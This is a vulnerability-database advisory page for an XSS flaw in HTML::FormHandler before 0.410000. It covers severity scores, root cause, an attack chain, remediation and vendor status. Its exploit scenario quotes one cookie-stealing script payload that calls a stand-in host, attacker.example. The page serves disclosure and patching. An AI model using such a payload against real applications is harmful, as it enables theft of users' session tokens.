Skip to main content

HTML::FormHandler CVE-2026-19872

| EUVDEUVD-2026-74166 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-09-08 9b29abf9-4ab0-4765-b253-1875cd9b441e GHSA-74pj-vp7j-2f6m
6.1
CVSS 3.1 · Vendor: 9b29abf9-4ab0-4765-b253-1875cd9b441e
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted XSS payload to validated form field
  2. Delivery
    Field fails regexp/type constraint
  3. Exploit
    Library embeds raw value in no_match/type-error message
  4. Execution
    Rendering role outputs error string unescaped into HTML span
  5. Persist
    Victim browser loads error response
  6. Impact
    Injected script executes in application origin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The application must use HTML::FormHandler before 0.410000 and must render error output through the library's own rendering roles (Render::Simple, Render::Table, or Widget::Form::Simple) rather than a custom template layer that independently escapes output. The targeted field must be declared with a check regexp, check list, or a type constraint - standard validation patterns - so that a submitted value reaches the no_match, not_allowed, or type-error message path. No authentication is required to submit a form field over the network. Exploitation is limited to: (1) applications using the library's rendering roles, and (2) fields that reach the specific error message construction paths; applications whose templates universally escape variables are not vulnerable.

Impact

The CVSS 6.1 score with vector AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N accurately reflects a classic reflected XSS profile: network-reachable with no authentication requirement, but dependent on a victim loading the page containing the error response. EPSS of 0.23% at the 13th percentile indicates low near-term automated exploitation probability, consistent with this being a library-level flaw in a niche Perl ecosystem rather than a mass-targeted application. No CISA KEV listing and no public PoC are identified. Real-world risk is gated on whether an application uses the library's own rendering roles versus an independently escaping template layer; applications in the latter category are entirely unaffected. The stored XSS variant elevates risk for applications that persist and later re-display rejected form input, as that path would not require the victim to trigger the validation error themselves.

Exploit ScenarioDerived

An attacker submits a crafted value such as <script>fetch('https://attacker.example/?c='+document.cookie)</script> to a text field that carries a check_rx or type constraint. The submitted value fails validation, the library's no_match or constraint-failure message embeds the raw string, and the rendering role writes it unescaped into an HTML error span returned to the browser. When the victim's browser renders the form response, the injected script executes in the application's origin, allowing cookie or session token exfiltration. No public PoC is currently identified, but the exploit path is mechanically straightforward given the description and commit diff.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 10, 2026

Cross-site scripting in HTML::FormHandler before 0.410000 (Perl/CPAN) allows unauthenticated network attackers to inject arbitrary JavaScript by submitting markup to any form field that triggers a validation error message embedding the submitted value. The library's rendering roles - Render::Simple, Render::Table, and Widget::Form::Simple - interpolate error strings directly into HTML error spans without entity encoding, so fields using check regexps, check lists, or type constraints expose the reflected XSS path. A stored XSS variant is also possible when applications persist and later re-render rejected form values. No public exploit is identified; vendor-released patch 0.410000 is available.

RemediationAI

Upgrade to HTML::FormHandler 0.410000 or later via CPAN using cpanm HTML::FormHandler or cpan HTML::FormHandler. The fix is available as a published CPAN release confirmed at https://metacpan.org/release/ABRAXXA/HTML-FormHandler-0.410000/changes, and the underlying commit patch is at https://github.com/gshank/html-formhandler/commit/2574fdb4561f5c32d44cfbfbb3188345d49eb5a2.patch. Applications that render form errors exclusively through their own template layer with consistent output escaping (e.g., Template Toolkit with the html filter applied to all variables) are not affected and may deprioritise patching, though upgrading is still recommended. As a pre-patch workaround, override the wrap_field and render_form_errors rendering methods in local subclasses to apply encode_entities() to each error string; this carries a maintenance burden of tracking upstream API changes.

Affected ProductsAI

HTML::FormHandler versions before 0.410000 for Perl are affected. The vulnerable code paths exist in HTML::FormHandler::Render::Simple, HTML::FormHandler::Render::Table, and HTML::FormHandler::Widget::Form::Simple. The fix is documented in the CPAN release ABRAXXA/HTML-FormHandler-0.410000 at https://metacpan.org/release/ABRAXXA/HTML-FormHandler-0.410000/changes. No CPE string is present in the input data. The package is maintained on GitHub at https://github.com/gshank/html-formhandler and distributed via CPAN.

Affects your stack

Find out whether the stacks and servers you run are on an affected version.

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HTML::FormHandler is a Moose-based Perl form-handling library distributed on CPAN. The root cause (CWE-79, improper neutralization of input during web-page generation) lies in the library's rendering layer: the roles Render::Simple, Render::Table, and the widget HTML::FormHandler::Widget::Form::Simple previously constructed HTML error output by concatenating error message strings directly into markup without applying HTML::Entities::encode_entities(). The internal _apply_actions method stores the rejected submitted value into an error string via add_error; the built-in messages no_match and not_allowed splice that raw value into the message text, as does the string constructed when a failing type constraint produces its error. The commit 2574fdb4561f5c32d44cfbfbb3188345d49eb5a2 fixes this by moving entity encoding to render time - adding encode_entities() uniformly via map across all_form_errors and all_errors in each rendering role - rather than encoding selectively at the add_error call site (which Select.pm did previously, and which the fix removes in favour of the centralised approach).

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (9b29abf9-4ab0-4765-b253-1875cd9b441e) PRIMARY 6.1 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

Network form submission requires no auth (PR:N); victim page load required (UI:R); XSS crosses browser security boundary (S:C); no availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
SUSE MEDIUM

Primary rating from Vendor (9b29abf9-4ab0-4765-b253-1875cd9b441e).

CVSS VectorVendor: 9b29abf9-4ab0-4765-b253-1875cd9b441e

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

Lifecycle Timeline

2
CVSS changed
Sep 10, 2026 - 18:23 NVD
6.1 (MEDIUM)
CVE Published
Sep 08, 2026 - 20:17 cve.org
UNKNOWN (no severity yet)

DescriptionCVE.org

HTML::FormHandler versions before 0.410000 for Perl allow cross-site scripting via a submitted value rendered unescaped in an error message.

The wrappers and renderers that emit a form's errors interpolate the error string straight into HTML with no escaping. Two of the library's own messages, no_match and not_allowed, splice the submitted value into that string, and a failing type constraint puts the rejected value into the message it builds, which _apply_actions hands to add_error.

A field declared with a check regexp, a check list or a type constraint reaches those messages, with no custom validator and no non-default configuration. Errors rendered through an application's own escaping template layer rather than the library's rendering roles are not affected.

A request over the network that submits markup to such a field gets it back live inside the error span, running script in the victim's origin. Re-rendering a rejected value later gives the stored variant.

Threat Intelligence Overview

EPSS Score
0.2%
Top 87% exploitable
Prevalence
Low
niche Perl CPAN form library, limited modern web footprint
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

30
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +30
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Vendor StatusVendor

SUSE

Severity: Moderate
Product Status
openSUSE Tumbleweed Fixed

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy